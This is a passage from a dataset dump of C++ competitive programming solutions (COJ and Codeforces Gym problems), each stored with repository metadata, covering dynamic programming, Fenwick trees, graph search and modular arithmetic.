namespace std;\r\n\r\nconst int N = 205;\r\nconst int INF = 1e9;\r\n\r\nint n, k;\r\nint a[N], b[N];\r\nint dp[N][N][4];\r\n\r\nconst int bits[] = {0, 1, 1};\r\n\r\nint solve(int row, int cnt, int mask) {\r\n if (cnt > row) {\r\n return INF;\r\n }\r\n if (bits[mask] > cnt) {\r\n return INF;\r\n }\r\n\tif (row == 0) {\r\n\t\tif (cnt == 0) {\r\n\t\t\treturn 0;\r\n\t\t}\r\n\t\treturn INF;\r\n\t}\r\n\tif (dp[row][cnt][mask] != INF) {\r\n\t\treturn dp[row][cnt][mask];\r\n\t}\r\n\tif (mask == 0) {\r\n\t\tint x = solve(row - 1, cnt, 0);\r\n\t\tint y = solve(row - 1, cnt, 1);\r\n\t\tint z = solve(row - 1, cnt, 2);\r\n\t\treturn dp[row][cnt][mask] = min(x, min(y, z));\r\n\t}\r\n\tif (mask == 1 && cnt > 0) {\r\n\t\tint x = solve(row - 1, cnt - 1, 0);\r\n\t\tint y = solve(row - 1, cnt - 1, 1);\r\n\t\treturn dp[row][cnt][mask] = a[row] + min(x, y);\r\n\t}\r\n\tif (mask == 2 && cnt > 0) {\r\n\t\tint x = solve(row - 1, cnt - 1, 0);\r\n\t\tint y = solve(row - 1, cnt - 1, 2);\r\n\t\treturn dp[row][cnt][mask] = b[row] + min(x, y);\r\n\t}\r\n}\r\n\r\nint main() {\r\n\tios::sync_with_stdio(false);\r\n\tcin.tie(0);\r\n\twhile (true) {\r\n\t\tcin >> n >> k;\r\n\t\tif (n == 0 && k == 0) {\r\n\t\t\tbreak;\r\n\t\t}\r\n\t\tint sum = 0;\r\n\t\tfor (int i = 1; i <= n; i++) {\r\n\t\t\tcin >> a[i] >> b[i];\r\n\t\t\tsum += a[i] + b[i];\r\n\t\t}\r\n\t\tfor (int i = 0; i <= n; i++) {\r\n\t\t\tfor (int j = 0; j <= k; j++) {\r\n\t\t\t\tfor (int l = 0; l < 3; l++) {\r\n\t\t\t\t\tdp[i][j][l] = INF;\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t}\r\n\t\tint x = solve(n, k, 0);\r\n\t\tif (k > 1) {\r\n int tmp = solve(n, k, 1);\r\n if (tmp < x) {\r\n x = tmp;\r\n }\r\n tmp = solve(n, k, 2);\r\n if (tmp < x) {\r\n x = tmp;\r\n }\r\n\t\t}\r\n\t\tint ans = sum - x;\r\n\t\tcout << ans << \"\\n\";\r\n\t}\r\n}\r\n" }, { "alpha_fraction": 0.36088329553604126, "alphanum_fraction": 0.39179810881614685, "avg_line_length": 14.510416984558105, "blob_id": "9e56f104605c364793ecc6543238bf62d4d62909", "content_id": "4d35087f98949a8ecdad3a0b41d8cf862f58bd85", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1585, "license_type": "no_license", "max_line_length": 56, "num_lines": 96, "path": "/COJ/eliogovea-cojAC/eliogovea-p3266-Accepted-s810017.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\r\n\r\nusing namespace std;\r\n\r\nconst int N = 100005;\r\n\r\nint n, m, a[N];\r\n\r\nint bit[N];\r\n\r\nvoid update(int p, int v) {\r\n\twhile (p <= n) {\r\n\t\tbit[p] += v;\r\n\t\tp += p & -p;\r\n\t}\r\n}\r\n\r\nint query(int p) {\r\n\tint res = 0;\r\n\twhile (p > 0) {\r\n\t\tres += bit[p];\r\n\t\tp -= p & -p;\r\n\t}\r\n\treturn res;\r\n}\r\n\r\nint pts[2];\r\n\r\nint main() {\r\n\tios::sync_with_stdio(false);\r\n\tcin.tie(0);\r\n\tcin >> n >> m;\r\n\tfor (int i = 1; i <= n; i++) {\r\n\t\tcin >> a[i];\r\n\t\tupdate(i, 1);\r\n\t}\r\n\tint cat = 0;\r\n\twhile (m--) {\r\n\t\tint x, y;\r\n\t\tcin >> x >> y;\r\n\t\tint cnt = query(y) - query(x - 1);\r\n\t\tif (cnt == 0) {\r\n\t\t\tcat ^= 1;\r\n\t\t\tcontinue;\r\n\t\t}\r\n\t\tint p1 = y;\r\n\t\tint lo = x;\r\n\t\tint hi = y;\r\n\t\tint k = query(y);\r\n\t\twhile (lo <= hi) {\r\n\t\t\tint mid = (lo + hi) >> 1;\r\n\t\t\tif (query(mid) >= k) {\r\n\t\t\t\tp1 = mid;\r\n\t\t\t\thi = mid - 1;\r\n\t\t\t} else {\r\n\t\t\t\tlo = mid + 1;\r\n\t\t\t}\r\n\t\t}\r\n\t\tint p2 = x;\r\n\t\tlo = x;\r\n\t\thi = y;\r\n\t\tk = query(n) - query(x - 1);\r\n\t\twhile (lo <= hi) {\r\n\t\t\tint mid = (lo + hi) >> 1;\r\n\t\t\tif (query(n) - query(mid - 1) >= k) {\r\n\t\t\t\tp2 = mid;\r\n\t\t\t\tlo = mid + 1;\r\n\t\t\t} else {\r\n\t\t\t\thi = mid - 1;\r\n\t\t\t}\r\n\t\t}\r\n\t\t//cout << cat << \" \" << a[p2] << \" \" << a[p1] << \"\\n\";\r\n\t\tif (p1 == p2) {\r\n\t\t\tpts[cat] += 1;\r\n\t\t\tupdate(p1, -1);\r\n\t\t} else {\r\n\t\t\tpts[cat] += __gcd(a[p1], a[p2]);\r\n\t\t\tupdate(p1, -1);\r\n\t\t\tupdate(p2, -1);\r\n\t\t}\r\n\t\tcat ^= 1;\r\n\t}\r\n\tif (pts[0] == pts[1]) {\r\n\t\tcout << \"Draw with \" << pts[0] << \" points\\n\";\r\n\t} else {\r\n\t\tint p;\r\n\t\tif (pts[0] > pts[1]) {\r\n\t\t\tcout << \"Anders \";\r\n\t\t\tp = pts[0];\r\n\t\t} else {\r\n\t\t\tcout << \"Vinagrito \";\r\n\t\t\tp = pts[1];\r\n\t\t}\r\n\t\tcout << \"wins with \" << p << \" points\\n\";\r\n\t}\r\n}\r\n" }, { "alpha_fraction": 0.4288240373134613, "alphanum_fraction": 0.4597701132297516, "avg_line_length": 18.5, "blob_id": "90312a963b0875864bdf82f5336e3b810e194dd7", "content_id": "d1a1524b954ea580f652523380019ee052acd492", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1131, "license_type": "no_license", "max_line_length": 71, "num_lines": 58, "path": "/Codeforces-Gym/100781 - 2015-2016 ACM-ICPC Nordic Collegiate Programming Contest (NCPC 2015)/E.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "// 2015-2016 ACM-ICPC Nordic Collegiate Programming Contest (NCPC 2015)\n// 100781E\n\n#include <bits/stdc++.h>\n\nusing namespace std;\n\nconst int MAXN = 100100;\n\ntypedef pair<int,int> par;\n\npar a[MAXN];\npar a2[MAXN];\n\nint solve( int n, int k , par *a ){\n multiset<int> ms;\n int sol = 0;\n\n for(int i = 0; i < n; i++){\n while( !ms.empty() && *ms.begin() <= a[i].first ){\n ms.erase( ms.begin() );\n }\n\n if( ms.size() < k ){\n sol++;\n ms.insert( a[i].second );\n }\n else if( *ms.rbegin() > a[i].second ){\n ms.erase( ms.find(*ms.rbegin()) );\n ms.insert( a[i].second );\n }\n }\n\n return sol;\n}\n\nint main(){\n ios::sync_with_stdio(0);\n cin.tie(0);\n\n //freopen(\"dat.txt\",\"r\",stdin);\n\n int n, k; cin >> n >> k;\n\n for(int i = 0; i < n; i++){\n cin >> a[i].first >> a[i].second;\n a2[i].first = -a[i].second;\n a2[i].second = -a[i].first;\n }\n\n sort( a , a + n );\n sort( a2 , a2 + n );\n\n int outp = solve( n , k , a );\n //outp = max( outp , solve( n , k , a2 ) );\n\n cout << outp << '\\n';\n}\n" }, { "alpha_fraction": 0.3419395387172699, "alphanum_fraction": 0.37027707695961, "avg_line_length": 21.685714721679688, "blob_id": "00b703cd9458e2bb5572e4931b093799a6d6fa46", "content_id": "c14c59b53f1e0682c177a523b2ebf7ca8d6d2016", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 3176, "license_type": "no_license", "max_line_length": 118, "num_lines": 140, "path": "/Codeforces-Gym/101078 - 2016-2017 CT S03E01: Codeforces Trainings Season 3 Episode 1 - 2010 Benelux Algorithm Programming Contest (BAPC 10)/F.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "// 2016-2017 CT S03E01: Codeforces Trainings Season 3 Episode 1 - 2010 Benelux Algorithm Programming Contest (BAPC 10)\n// 101078F\n\n#include <bits/stdc++.h>\n\nusing namespace std;\n\ntypedef long long ll;\ntypedef pair<int,int> pii;\nconst int MAXN = 10010;\nconst int MAXX = 410;\nvector<int> g[MAXN+10];\nint mk[MAXX+400][MAXX+400];\nint X[MAXN+10], Y[MAXN+10];\nint door, NODES;\n\nchar opuesto( char a ){\n if( a == 'N' )\n return 'S';\n if( a == 'S' )\n return 'N';\n if( a == 'E' )\n return 'W';\n if( a == 'W' )\n return 'E';\n}\n\npii get_coor( char a ){\n int x, y;\n if( a == 'N' ){\n x = -1;\n y = 0;\n }\n if( a == 'S' ){\n x = +1;\n y = 0;\n }\n if( a == 'E' ){\n y = +1;\n x = 0;\n }\n if( a == 'W' ){\n y = -1;\n x = 0;\n }\n return make_pair( x,y );\n}\n\nvoid dfs( int nod, char p ){\n cout << p << endl;\n string dir;\n cin >> dir;\n if( dir[ dir.size()-1 ] == '*' )\n door = nod;\n for( int i = 0; i < dir.size(); i++ ){\n if( dir[i] == '*' ) continue;\n pii d = get_coor( dir[i] );\n d.first += X[nod];\n d.second+= Y[nod];\n if( !mk[ d.first ][ d.second ] ){\n mk[ d.first ] [ d.second ] = ++NODES;\n g[ nod ].push_back( NODES );\n X[ NODES ] = d.first;\n Y[ NODES ] = d.second;\n dfs( NODES, dir[i] );\n }\n else{\n g[nod].push_back( mk[ d.first ][ d.second ] );\n }\n }\n cout << opuesto( p ) << endl;\n cin >> dir;\n}\nint d[MAXN+10];\n\nvoid bfs( int u ){\n queue< int > q;\n q.push( u );\n d[u] = 0;\n while( !q.empty() ){\n u = q.front(); q.pop();\n for( int i = 0; i < g[u].size(); i++ ){\n int v = g[u][i];\n if( d[u] +1 < d[v] ){\n d[v] = d[u]+1;\n q.push( v );\n }\n }\n }\n\n}\n\n\nint main(){\n// freopen(\"dat.txt\",\"r\",stdin);\n\n int tc;\n cin >> tc;\n while( tc-- ){\n for( int i = 0; i < MAXX+1; i++ )\n fill( mk[i], mk[i]+MAXX+1,0 );\n fill( d, d+MAXN+1, 1<<29 );\n for( int i = 1; i <= MAXN; i++ ){\n g[i].clear();\n X[i] = Y[i] = 0;\n }\n NODES = 1;\n door = -1;\n X[1] = MAXX/2;\n Y[1] = MAXX/2;\n mk[ X[1] ][ Y[1] ] = 1;\n string dir;\n cin >> dir;\n if( dir[ dir.size()-1 ] == '*' )\n door = 1;\n for( int i = 0; i < dir.size(); i++ ){\n if( dir[i] == '*' ) continue;\n pii d = get_coor( dir[i] );\n d.first += X[1];\n d.second+= Y[1];\n if( !mk[ d.first ][ d.second ] ){\n mk[ d.first ] [ d.second ] = ++NODES;\n g[ 1 ].push_back( NODES );\n X[ NODES ] = d.first;\n Y[ NODES ] = d.second;\n dfs( NODES, dir[i] );\n }\n else{\n g[1].push_back( mk[ d.first ][ d.second ] );\n }\n }\n if( door != -1 ){\n bfs( 1 );\n cout << d[door] << endl;\n }\n else\n cout << door << endl;\n cin >> dir;\n }\n}\n" }, { "alpha_fraction": 0.3129306733608246, "alphanum_fraction": 0.34616944193840027, "avg_line_length": 18.73109245300293, "blob_id": "df6c0b70ea63392f634c41377ee45cb0ac87b83d", "content_id": "01851d356e9270abe75650aed56df84642768ca8", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 2467, "license_type": "no_license", "max_line_length": 44, "num_lines": 119, "path": "/COJ/eliogovea-cojAC/eliogovea-p3486-Accepted-s904714.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\r\n\r\nusing namespace std;\r\n\r\nconst int N = 20;\r\n\r\nbool fila[N][N], col[N][N], cuadro[N][N][N];\r\n\r\nint main() {\r\n\tios::sync_with_stdio(false);\r\n\tcin.tie(0);\r\n\tchar ch;\r\n\tfor (int i = 0; i < 3; i++) {\r\n\t\tfor (int j = 0; j < 3; j++) {\r\n\t\t\tcin >> ch;\r\n\t\t\tif (ch != '*') {\r\n\t\t\t\tfila[i][ch - '0'] = true;\r\n\t\t\t\tcol[j][ch - '0'] = true;\r\n\t\t\t\tcuadro[i / 3][j / 3][ch - '0'] = true;\r\n\t\t\t}\r\n\t\t}\r\n\t\tcin >> ch;\r\n\t\tfor (int j = 3; j < 6; j++) {\r\n\t\t\tcin >> ch;\r\n\t\t\tif (ch != '*') {\r\n\t\t\t\tfila[i][ch - '0'] = true;\r\n\t\t\t\tcol[j][ch - '0'] = true;\r\n\t\t\t\tcuadro[i / 3][j / 3][ch - '0'] = true;\r\n\t\t\t}\r\n\t\t}\r\n\t\tcin >> ch;\r\n\t\tfor (int j = 6; j < 9; j++) {\r\n\t\t\tcin >> ch;\r\n\t\t\tif (ch != '*') {\r\n\t\t\t\tfila[i][ch - '0'] = true;\r\n\t\t\t\tcol[j][ch - '0'] = true;\r\n\t\t\t\tcuadro[i / 3][j / 3][ch - '0'] = true;\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n\tstring s;\r\n\tcin >> s;\r\n\tfor (int i = 3; i < 6; i++) {\r\n\t\tfor (int j = 0; j < 3; j++) {\r\n\t\t\tcin >> ch;\r\n\t\t\tif (ch != '*') {\r\n\t\t\t\tfila[i][ch - '0'] = true;\r\n\t\t\t\tcol[j][ch - '0'] = true;\r\n\t\t\t\tcuadro[i / 3][j / 3][ch - '0'] = true;\r\n\t\t\t}\r\n\t\t}\r\n\t\tcin >> ch;\r\n\t\tfor (int j = 3; j < 6; j++) {\r\n\t\t\tcin >> ch;\r\n\t\t\tif (ch != '*') {\r\n\t\t\t\tfila[i][ch - '0'] = true;\r\n\t\t\t\tcol[j][ch - '0'] = true;\r\n\t\t\t\tcuadro[i / 3][j / 3][ch - '0'] = true;\r\n\t\t\t}\r\n\t\t}\r\n\t\tcin >> ch;\r\n\t\tfor (int j = 6; j < 9; j++) {\r\n\t\t\tcin >> ch;\r\n\t\t\tif (ch != '*') {\r\n\t\t\t\tfila[i][ch - '0'] = true;\r\n\t\t\t\tcol[j][ch - '0'] = true;\r\n\t\t\t\tcuadro[i / 3][j / 3][ch - '0'] = true;\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n\tcin >> s;\r\n\tfor (int i = 6; i < 9; i++) {\r\n\t\tfor (int j = 0; j < 3; j++) {\r\n\t\t\tcin >> ch;\r\n\t\t\tif (ch != '*') {\r\n\t\t\t\tfila[i][ch - '0'] = true;\r\n\t\t\t\tcol[j][ch - '0'] = true;\r\n\t\t\t\tcuadro[i / 3][j / 3][ch - '0'] = true;\r\n\t\t\t}\r\n\t\t}\r\n\t\tcin >> ch;\r\n\t\tfor (int j = 3; j < 6; j++) {\r\n\t\t\tcin >> ch;\r\n\t\t\tif (ch != '*') {\r\n\t\t\t\tfila[i][ch - '0'] = true;\r\n\t\t\t\tcol[j][ch - '0'] = true;\r\n\t\t\t\tcuadro[i / 3][j / 3][ch - '0'] = true;\r\n\t\t\t}\r\n\t\t}\r\n\t\tcin >> ch;\r\n\t\tfor (int j = 6; j < 9; j++) {\r\n\t\t\tcin >> ch;\r\n\t\t\tif (ch != '*') {\r\n\t\t\t\tfila[i][ch - '0'] = true;\r\n\t\t\t\tcol[j][ch - '0'] = true;\r\n\t\t\t\tcuadro[i / 3][j / 3][ch - '0'] = true;\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n\tbool ok = true;\r\n\tfor (int i = 0; i < 9; i++) {\r\n\t\tfor (int j = 1; j <= 9; j++) {\r\n\t\t\tif (!fila[i][j] || !col[i][j]) {\r\n\t\t\t\tok = false;\r\n\t\t\t\tbreak;\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n\tfor (int i = 0; i < 3; i++) {\r\n\t\tfor (int j = 0; j < 3; j++) {\r\n\t\t\tfor (int k = 1; k <= 9; k++) {\r\n\t\t\t\tif (!cuadro[i][j][k]) {\r\n\t\t\t\t\tok = false;\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n\tcout << (ok ? \"CORRECT\" : \"WRONG\") << \"\\n\";\r\n}\r\n" }, { "alpha_fraction": 0.45964911580085754, "alphanum_fraction": 0.4912280738353729, "avg_line_length": 17.133333206176758, "blob_id": "425c040e800369cac589ecc0d2f8bcad3ca15acf", "content_id": "940c6b0739112ec0116e0a2727b79f878ad4a77c", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 285, "license_type": "no_license", "max_line_length": 62, "num_lines": 15, "path": "/COJ/eliogovea-cojAC/eliogovea-p1937-Accepted-s546924.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include<iostream>\r\n#include<cmath>\r\nusing namespace std;\r\n\r\nunsigned long long n,s;\r\nint i=1;\r\n\r\nint main(){\r\n while(cin >> n && n)\r\n {\r\n s=(unsigned long long)ceil((3.0+sqrt(9.0+8.0*n))/2ll);\r\n cout << \"Case \" << i++ << \": \" << s << endl;\r\n }\r\n return 0;\r\n}" }, { "alpha_fraction": 0.4197324514389038, "alphanum_fraction": 0.4481605291366577, "avg_line_length": 17.933332443237305, "blob_id": "182ae98e202b3e24917d3af21cde7032c5a41fd1", "content_id": "6b78a028f6946c31880f050aa99ab8cd0a3102ae", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 598, "license_type": "no_license", "max_line_length": 53, "num_lines": 30, "path": "/COJ/eliogovea-cojAC/eliogovea-p2534-Accepted-s608857.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <iostream>\r\n#include <algorithm>\r\nusing namespace std;\r\n\r\nint tc, n;\r\nstring str;\r\n\r\nint sol(char tip) {\r\n\tint p1 = 0, p2 = 0, c = 0, s = 0, size = str.size();\r\n\twhile (p2 < size) {\r\n //cout << p1 << \" \" << p2 << endl;\r\n\t\tif (str[p2] == tip) p2++;\r\n\t\telse if (c < n) c++, p2++;\r\n\t\telse if (str[p1] == tip) p1++;\r\n\t\telse c--, p1++;\r\n\t\ts = max(s, p2 - p1);\r\n\t}\r\n\treturn s;\r\n}\r\n\r\nint main() {\r\n\tcin >> tc;\r\n\twhile (tc--) {\r\n\t\tcin >> n >> str;\r\n\t\tint s = max(sol('<'), sol('>'));\r\n\t\treverse(str.begin(), str.end());\r\n\t\ts = max(s, max(sol('<'), sol('>')));\r\n\t\tcout << s << endl;\r\n\t}\r\n}\r\n" }, { "alpha_fraction": 0.4312896430492401, "alphanum_fraction": 0.4524312913417816, "avg_line_length": 16.357797622680664, "blob_id": "62309c99cda4538109aa98099d5106b61f3073a2", "content_id": "600c67231b2256d5a760b0cbcb61a59cc1c39868", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1892, "license_type": "no_license", "max_line_length": 55, "num_lines": 109, "path": "/COJ/eliogovea-cojAC/eliogovea-p3728-Accepted-s1195924.cc", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\n\nusing namespace std;\n\ninline void add(int & a, int b, int m) {\n\ta += b;\n\tif (a >= m) {\n\t\ta -= m;\n\t}\n}\n\ninline int mul(int a, int b, int m) {\n\treturn (long long)a * b % m;\n}\n\ninline int power(int x, int n, int m) {\n\tint y = 1 % m;\n\twhile (n > 0) {\n\t\tif (n & 1) {\n\t\t\ty = mul(y, x, m);\n\t\t}\n\t\tx = mul(x, x, m);\n\t\tn >>= 1;\n\t}\n\treturn y;\n}\n\nint slow(int n, int k, int m) {\n\tvector <int> f(n + 1);\n\tf[0] = 1;\n\tfor (int i = 1; i <= n; i++) {\n\t\tf[i] = mul(f[i - 1], k, m);\n\t}\n\tfor (int i = 1; i <= n; i++) {\n\t\tfor (int x = i + i; x <= n; x += i) {\n\t\t\tadd(f[x], m - f[i], m);\n\t\t}\n\t}\n\treturn f[n];\n}\n\nvector <int> getSieve(int n) {\n\tvector <int> f(n + 1);\n\tfor (int i = 2; i <= n; i++) {\n\t\tif (!f[i]) {\n\t\t\tfor (int j = i; j <= n; j += i) {\n\t\t\t\tf[j] = i;\n\t\t\t}\n\t\t}\n\t}\n\treturn f;\n}\n\nvector <int> getPrimes(int n, vector <int> & sieve) {\n\tvector <int> primes;\n\twhile (n > 1) {\n\t\tint p = sieve[n];\n\t\tprimes.push_back(p);\n\t\twhile (n > 1 && sieve[n] == p) {\n\t\t\tn /= p;\n\t\t}\n\t}\n\treturn primes;\n}\n\nint fast(int n, int k, int mod, vector <int> & sieve) {\n\tauto primes = getPrimes(n, sieve);\n\tint c = primes.size();\n\tvector <int> divs(1 << c, 1);\n\tvector <int> bits(1 << c, 0);\n\tvector <int> pk(1 << c);\n\tfor (int i = 0; i < c; i++) {\n\t\tdivs[1 << i] = primes[i];\n\t}\n\tfor (int m = 1; m < (1 << c); m++) {\n\t\tdivs[m] = divs[m ^ (m & -m)] * divs[m & -m];\n\t\tbits[m] = bits[m ^ (m & -m)] + 1;\n\t}\n\tfor (int m = 0; m < (1 << c); m++) {\n\t\tpk[m] = power(k, n / divs[m], mod);\n\t}\n\tint ans = 0;\n\tfor (int m = 0; m < (1 << c); m++) {\n\t\tif (bits[m] & 1) { //\n\t\t\tadd(ans, mod - pk[m], mod);\n\t\t} else {\n\t\t\tadd(ans, pk[m], mod);\n\t\t}\n\t}\n\treturn ans;\n}\n\nint main() {\n\tios::sync_with_stdio(false);\n\tcin.tie(0);\n\n\tconst int N = 2 * 100 * 1000;\n\tauto sieve = getSieve(N + 1);\n\n\tint t;\n\tcin >> t;\n\n\twhile (t--) {\n\t\tint n, k, m;\n\t\tcin >> n >> k >> m;\n\t\tint ans = fast(n, k, m, sieve);\n\t\tcout << ans << \"\\n\";\n\t}\n}\n" }, { "alpha_fraction": 0.4541984796524048, "alphanum_fraction": 0.4866412281990051, "avg_line_length": 18.153846740722656, "blob_id": "8e12a2d0f1532fc6a3b55a6e8da3cf38f30d0d70", "content_id": "2262d66270267a8079c0b507f1cacc4743acf270", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 524, "license_type": "no_license", "max_line_length": 58, "num_lines": 26, "path": "/COJ/eliogovea-cojAC/eliogovea-p2155-Accepted-s651616.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <iostream>\r\n#include <cmath>\r\n//#include <cstdio>\r\n\r\nusing namespace std;\r\n\r\nconst double eps = 1e-7, g = 9.806, pi = 2.0 * acos(0.0);\r\n\r\nint tc, cas;\r\ndouble d, v;\r\n\r\nint main() {\r\n //freopen(\"e.in\", \"r\", stdin);\r\n\tios::sync_with_stdio(false);\r\n\tcin.tie(0);\r\n\tcout.tie(0);\r\n\tcout.precision(2);\r\n\tcin >> tc;\r\n\twhile (tc--) {\r\n\t\tcin >> d >> v;\r\n\t\tcout << \"Scenario #\" << ++cas << \": \";\r\n\t\tif (v * v / g + eps < d) cout << \"-1\";\r\n\t\telse cout << fixed << 90.0 * asin(d * g / (v * v)) / pi;\r\n\t\tcout << \"\\n\";\r\n\t}\r\n}\r\n" }, { "alpha_fraction": 0.44378697872161865, "alphanum_fraction": 0.46272188425064087, "avg_line_length": 21.47222137451172, "blob_id": "323c8d224aa0a7fc166a6e6d6af39aa5d45240b0", "content_id": "faab268ab8bd7b77ab86093f127d76683e03eab2", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 845, "license_type": "no_license", "max_line_length": 62, "num_lines": 36, "path": "/COJ/eliogovea-cojAC/eliogovea-p2877-Accepted-s618113.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <iostream>\r\n#include <vector>\r\n#include <algorithm>\r\nusing namespace std;\r\n\r\nstring str;\r\nchar ch;\r\nint v, nw, tot;\r\nvector<int> seg, words;\r\n\r\nint main() {\r\n cin >> str >> ch >> v;\r\n\r\n for (int i = 0; str[i];) {\r\n int cont = 0;\r\n while (str[i] == ch) {cont++; i++;}\r\n if (cont) seg.push_back(cont), tot += cont;\r\n else i++;\r\n }\r\n\r\n\r\n cin >> nw;\r\n while (nw--) {\r\n cin >> str;\r\n words.push_back(int(str.size()));\r\n }\r\n sort(seg.begin(), seg.end(), greater<int>());\r\n sort(words.begin(), words.end(), greater<int>());\r\n int p1 = 0, p2 = 0;\r\n while (p1 < seg.size() && p2 < words.size()) {\r\n while (p2 < words.size() && words[p2] > seg[p1]) p2++;\r\n if (p2 < words.size()) tot -= words[p2], p2++;\r\n p1++;\r\n }\r\n cout << tot * v << endl;\r\n}\r\n" }, { "alpha_fraction": 0.34899845719337463, "alphanum_fraction": 0.3952234089374542, "avg_line_length": 28.186046600341797, "blob_id": "3e6b6429c2bcc40881320c68dcddbdf173dd0fca", "content_id": "9912cd348b3e76f85574b9ca89497c42bf7e0a81", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1298, "license_type": "no_license", "max_line_length": 91, "num_lines": 43, "path": "/COJ/eliogovea-cojAC/eliogovea-p2310-Accepted-s632504.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <cstdio>\r\n#include <algorithm>\r\n#include <cmath>\r\nusing namespace std;\r\n\r\nconst double eps = 1e-9;\r\n\r\nint n;\r\ndouble X0, Y0, Dx, Dy, V, Vx, Vy, sol;\r\n\r\nint main() {\r\n\twhile (scanf(\"%d\", &n) && n) {\r\n scanf(\"%lf%lf%lf%lf%lf\", &X0, &Y0, &Dx, &Dy, &V);\r\n\t\tsol = 1e10;\r\n\t\tVx = Dx * V;\r\n\t\tVy = Dy * V;\r\n\t\tdouble x, y, v;\r\n\t\tfor (int i = 0; i < n; i++) {\r\n\t\t scanf(\"%lf%lf%lf\", &x, &y, &v);\r\n\t\t\tif (fabs(x - X0) <= eps && fabs(y - Y0) <= eps)\r\n\t\t\t\tsol = 0.0;\r\n\t\t\telse if (fabs(Vx * Vx + Vy * Vy - v * v) <= eps) {\r\n\t\t\t\tdouble t = -((Y0 - y) * (Y0 - y) + (X0 - x) * (X0 - x))\r\n\t\t\t\t\t\t\t\t\t\t/ (2.0 * (Vx * (X0 - x) + Vy * (Y0 - y)));\r\n\t\t\t\tif (t + eps >= 0.0) sol = min(sol, t);\r\n\t\t\t}\r\n\t\t\telse {\r\n\t\t\t\tdouble d = 4.0 * (Vx * (X0 - x) + Vy * (Y0 - y)) * (Vx * (X0 - x) + Vy * (Y0 - y))\r\n\t\t\t\t\t\t\t\t\t- 4.0 * (Vx * Vx + Vy * Vy - v * v) * ((Y0 - y) * (Y0 - y) + (X0 - x) * (X0 - x));\r\n\t\t\t\tif (d + eps >= 0.0) {\r\n\t\t\t\t\tdouble b = 2.0 * (Vx * (X0 - x) + Vy * (Y0 - y));\r\n\t\t\t\t\tdouble a = Vx * Vx + Vy * Vy - v * v;\r\n\t\t\t\t\tdouble t1 = (-b - sqrt(d)) / (2.0 * a);\r\n\t\t\t\t\tif (t1 + eps >= 0.0) sol = min(sol, t1);\r\n\t\t\t\t\tdouble t2 = (-b + sqrt(d)) / (2.0 * a);\r\n\t\t\t\t\tif (t2 + eps >= 0.0) sol = min(sol, t2);\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t}\r\n if (sol == 1e10) printf(\"No solution\\n\");\r\n else printf(\"%.2lf\\n\", sol);\r\n\t}\r\n}\r\n" }, { "alpha_fraction": 0.4424131512641907, "alphanum_fraction": 0.47897621989250183, "avg_line_length": 18.259260177612305, "blob_id": "d8b66778201832e9479ae9746dc6a69d9939874e", "content_id": "b8c688459b8ae744f2606e366e49836f6e797e53", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 547, "license_type": "no_license", "max_line_length": 80, "num_lines": 27, "path": "/COJ/eliogovea-cojAC/eliogovea-p2061-Accepted-s603800.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <cstdio>\r\n\r\ntypedef long long ll;\r\n\r\nconst ll mod = 1000000007;\r\n\r\nint tc;\r\nll x, n;\r\n\r\nll exp(ll b, ll e) {\r\n\tif (e == 1ll) return b % mod;\r\n\tif (e & 1ll) return (b * exp(b, e - 1)) % mod;\r\n\tll x = exp(b, e / 2) % mod;\r\n\treturn (x * x) % mod;\r\n}\r\n\r\nll solve(int x, int n) {\r\n\treturn (((exp(x, n + 1ll) - 1ll + mod) % mod) * exp(x - 1ll, mod - 2ll)) % mod;\r\n}\r\n\r\nint main() {\r\n\tfor (scanf(\"%d\", &tc); tc--;) {\r\n\t\tscanf(\"%lld%lld\", &x, &n);\r\n\t\tif (x == 1ll)printf(\"%lld\\n\", (n + 1ll) % mod);\r\n\t\telse printf(\"%lld\\n\", solve(x, n));\r\n\t}\r\n}\r\n" }, { "alpha_fraction": 0.4043433368206024, "alphanum_fraction": 0.44260600209236145, "avg_line_length": 17.34000015258789, "blob_id": "7717f50e202bb172bb409d2a40cd1b90ac6da42d", "content_id": "09498d31464633c4a3f955eb5965123322334462", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 967, "license_type": "no_license", "max_line_length": 38, "num_lines": 50, "path": "/COJ/eliogovea-cojAC/eliogovea-p1394-Accepted-s632379.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <iostream>\r\n#include <algorithm>\r\nusing namespace std;\r\n\r\nconst int MAXN = 